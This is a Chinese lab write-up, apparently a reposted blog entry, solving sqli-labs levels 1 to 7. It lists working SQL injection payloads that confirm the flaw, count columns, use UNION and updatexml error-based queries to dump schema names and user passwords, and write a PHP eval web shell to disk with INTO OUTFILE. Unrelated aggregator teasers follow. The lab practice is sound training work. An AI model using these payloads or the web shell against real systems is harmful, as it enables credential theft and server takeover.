sqllabs1-7sql注入

news/2024/4/27 23:52:49/文章来源:https://blog.csdn.net/sjt2323302003/article/details/136988862

先在?id参数后面判断是否存在sql注入
id=1     返回正常
id=1'    返回报错(说明可能存在sql注入)
id=1 and 1=1    返回正常
id=1 and 1=2    返回正常
id=1'  and 1=1   报错
id=1'  and 1=2   报错
说明$id后面可能还存在sql语句(源码源码:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";)(--+是为了注释后面的limit 0,1";)
id=1'   and 1=1  --+  返回正常
id=1'   and 1=2  --+   报错

接下来拿开源靶场测试sqllibs
接上面可以用order by 来字段测试有多少列
?id=1'  order by 1 --+正常
?id=1' order by 3  --+正常
?id=1' order by 4  --+报错
说明这里字段数为3,之后用联合查询union select 拼接
?id=1' and 1=2 union select 1,2,3 --+或者#这里哪个都可以,这里的and 1=2是为了就将正确的id=1'不显示,返回错误,显示后面union select语句的值
结果:这里SQL查询语句中select后面的字段数量是3个,2,3 字段.
可以利用来判断注入点语句如下:?id=1' and 1=2 union select 1,database(),version() --+     得到数据库名以及版本号。
可以查看数据库名:?id=1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+当然这个语句支持的是mysql5.0以上的。当然这里不拘泥于查询information_schema这个数据库名
查看数据库中的表:?id=1' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3 --+
或者查询数据库中其他的表:?id=1' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security'),3 --+
查看表中的字段:?id=1' and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3 --+
爆出指定字段:?id=1' and 1=2 union select 1,(select group_concat(username,char(32),password)from security.users),3 --+

第二关与第一关基本一样就是在?id=1' and 1=1 --+(把' 去掉就行其他查询方式以及原理一样),源码:源码:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";(这里是数字型注入)    其他流程都和第一关一样

第三关(这里是字符型注入)源码:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";因为源码中多了(),所以注入时,使用id=1’)闭合源码中前面的括号:          ?id=1') and 1=1 --+   其他流程都和第一关一样


第四关(这里是字符型注入)源码源码:
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
因为在传入$id前,对$id进行了双引号包裹,然后sql语句中的$id又有括号包围,所以注入时使用id=1")进行闭合构造,其他流程都和第一关一样

第五关:(采取sql盲注)
源码:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这里盲注报错有三种,floor updataxml extractvalue,这里我们用updataxml:自定义一个payload:
union select updatexml(1,concat('~',(payload),'~'),3)
判断数据库:union select updatexml(1,concat('~',(database()),'~'),3) --+
判断表名:?id=1' union select updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'),3) --+

判断字段名:?id=1' union select updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~'),3) --+

爆出他的字段:?id=1' union select updatexml(1,concat('~',(select username from users limit 0,1),'~'),3) --+

第六关字符型注入+盲注    
源码:$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
过程:id闭合需要修改为id=1",其它和Pass-5一样


第七关:字符型注入+盲注
源码:源码:
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
id闭合需要修改为id=1’)),使用into outfile写入一句话
因为作者注释了数据库错误显示,我们打开它,先使用报错注入获取当前网站根目录,在进行写入一句话
?id=1'))  and 1=2 union select null,'<?php @eval($_REQUEST['111']);?>',null into outfile '一句话路径名' --+


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_1026748.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于Python实现多功能翻译助手(下)

为了将上述步骤中的功能增强与扩展具体化为代码&#xff0c;我们将实现翻译历史记录功能、翻译选项配置以及UI的改进。 翻译历史记录功能 import json # 假设有一个用于存储历史记录的json文件 HISTORY_FILE translation_history.json # 初始化历史记录列表 translati…

Element-Plus下拉菜单边框去除教程

&#x1f31f; 前言 欢迎来到我的技术小宇宙&#xff01;&#x1f30c; 这里不仅是我记录技术点滴的后花园&#xff0c;也是我分享学习心得和项目经验的乐园。&#x1f4da; 无论你是技术小白还是资深大牛&#xff0c;这里总有一些内容能触动你的好奇心。&#x1f50d; &#x…

python中函数那点事

1.求一个十进制的数值的二进制的0、1的个数 。 2.实现一个用户管理系统(要求使用容器保存数据)[{name: xxx, pass: xxx, ... ... },{},{}] 3.求1~100之间不能被3整除的数之和 4.给定一个正整数N,找出1到N(含)之间所有质数的总和 5.计算PI(公式如下:PI4(1-1/31/5-1/71/9-1......…

简单了解原型模式

什么是原型模式 区别于单例模式&#xff0c;原型模式的一个类可以有多个实例化的对象。 原型模式通过拷贝来产生新的对象&#xff0c;而不是new&#xff0c;并且可以根据自己的需求修改对象的属性。 实现Cloneable接口实现拷贝 而拷贝又分为浅拷贝和深拷贝&#xff0c;两者在…

Codigger开发者篇:开启全新的开发体验(二)

在数字化浪潮中&#xff0c;开发者们始终在追求更加高效、便捷的开发工具与环境。Codigger&#xff0c;作为新一代开发、运营、使用私人应用的分布式操作系统&#xff0c;正是为这些追求者们量身打造的利器&#xff0c;Codigger是一个跨时代的颠覆式的创新。今天&#xff0c;我…

【python】flask执行上下文context,请求上下文和应用上下文原理解析

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…

JAVA------基础篇

java基础 1.JDK JDK :java development kit JRE&#xff1a;java runtime environment JDK包含JRE java跨平台&#xff1a;因为java程序运行依赖虚拟机&#xff0c;虚拟机需要有对应操作系统的版本&#xff0c;而jre中有虚拟机。 当你想要在Linux系统下运行&#xff0c;则需要…

硅谷甄选项目笔记

硅谷甄选运营平台 此次教学课程为硅谷甄选运营平台项目,包含运营平台项目模板从0到1开发&#xff0c;以及数据大屏幕、权限等业务。 此次教学课程涉及到技术栈包含***:vue3TypeScriptvue-routerpiniaelement-plusaxiosecharts***等技术栈。 一、vue3组件通信方式 通信仓库地…

华为ensp中vrrp虚拟路由器冗余协议 原理及配置命令

CSDN 成就一亿技术人&#xff01; 作者主页&#xff1a;点击&#xff01; ENSP专栏&#xff1a;点击&#xff01; CSDN 成就一亿技术人&#xff01; ————前言————— VRRP&#xff08;Virtual Router Redundancy Protocol&#xff0c;虚拟路由器冗余协议&#xff0…

9.HelloWorld案例常见问题

文章目录 一、BUG二、BUG的解决三、HelloWorld常见问题 一、BUG BUG&#xff08;小甲虫&#xff09;。计算机刚开始出现的时候&#xff0c;因为体积比较大&#xff0c;一些小虫子很容易转进去。有一天有一只蟑螂钻到了计算机当中&#xff0c;从而导致计算机不能正常运行&#…

SQLiteC/C++接口详细介绍sqlite3_stmt类(八)

返回&#xff1a;SQLite—系列文章目录 上一篇&#xff1a;SQLiteC/C接口详细介绍sqlite3_stmt类&#xff08;七&#xff09; 下一篇&#xff1a; SQLiteC/C接口详细介绍sqlite3_stmt类&#xff08;九&#xff09; 27、sqlite3_column_int 函数 sqlite3_column_int 用于返…

[Flutter] Flutter多环境版本管理器Puro, 可是试试替换Fvm了

flutter2/3版本切换,除了fvm,还可以看看puro Puro官网 Mac安装方式 curl -o- https://puro.dev/install.sh | PURO_VERSION"1.4.5" bash因为puro安装flutter需要依赖git, 请确保mac支持git命令行 brew install git快速开始 先看效果 1.创建flutter环境 这里的…

Bayes-RF,基于贝叶斯Bayes优化算法优化随机森林RF数据回归预测(多输入单输出)-MATLAB实现

Bayesian optimization 是一种用于调节机器学习模型超参数的方法&#xff0c;而随机森林 (Random Forest, RF) 是一种强大的机器学习算法&#xff0c;常用于回归和分类任务。将它们结合起来可以提高模型性能&#xff0c;这就是 Bayes-RF 的基本思想。 下面是一个基于贝叶斯优化…

基于双vip+GTID的半同步主从复制集群项目(MySQL集群)

项目标题&#xff1a;基于keepalivedGTID的半同步主从复制MySQL集群 准备七台机器&#xff0c;其中有四台时MySQL服务器&#xff0c;搭建主从复制的集群&#xff0c;一个master&#xff0c;2个slave服务器&#xff0c;一个延迟备份服务器。同时延迟备份服务器也可以充当异地备…

Linux的介绍以及其发展历史

文章目录 前言一、技术是推动社会发展的基本动力1.人为什么能成为万物之长呢&#xff1f;2.人为什么要发明工具&#xff0c;进行进化呢&#xff1f;3.人是如何发明工具的&#xff1f;4.为什么要有不同的岗位和行业&#xff1f; 二、计算机(操作系统)发展的基本脉络1.第一台计算…

Java安全 反序列化(4) CC1链-LazyMap版

Java安全 反序列化(4) CC1链-LazyMap版 实验环境:存在漏洞的版本 commons-collections3.1-3.2.1 jdk 8u71之后已修复不可利⽤ 文章目录 Java安全 反序列化(4) CC1链-LazyMap版一.跟踪挖掘CC1_LazyMap原理二.完整CC1_Lazy版Poc 接着上一篇文章我们通过ChainedTransFormer实现任意…

面试算法-122-翻转二叉树

题目 给你一棵二叉树的根节点 root &#xff0c;翻转这棵二叉树&#xff0c;并返回其根节点。 示例 1&#xff1a; 输入&#xff1a;root [4,2,7,1,3,6,9] 输出&#xff1a;[4,7,2,9,6,3,1] 解 class Solution {public TreeNode invertTree(TreeNode root) {return dfs(…

在面对API的安全风险,WAAP全站防护能做到哪些?

随着数字化转型的加速&#xff0c;API&#xff08;应用程序接口&#xff09;已经成为企业间和企业内部系统交互的核心组件。在应用程序开发过程中&#xff0c;API能够在不引起用户注意的情况下&#xff0c;无缝、流畅地完成各种任务。例如从一个应用程序中提取所需数据并传递给…

SinoDB系统数据库

在SinoDB数据库的一个实例中&#xff0c;存在多个数据库&#xff0c;分为系统数据库和用户数据库。系统数据库在实例初始化时自动创建&#xff0c;存放实例级别上的监控信息、数据字典信息&#xff0c;用户能够访问而不能修改这些数据。用户数据库由用户根据需要创建&#xff0…

[STM32] Keil 创建 HAL 库的工程模板

Keil 创建 HAL 库的工程模板 跟着100ASK_STM32F103_MINI用户手册V1.1.pdf的第7章步骤进行Keil工程的创建。 文章目录 1 创建相关文件夹2 创建“main.c/h”和“stm32f1xx_clk.c/h”3 复制CMSIS和HAL库4 创建新的Keil工程5 添加组文件夹和工程文件6 配置Keil设置 1 创建相关文件…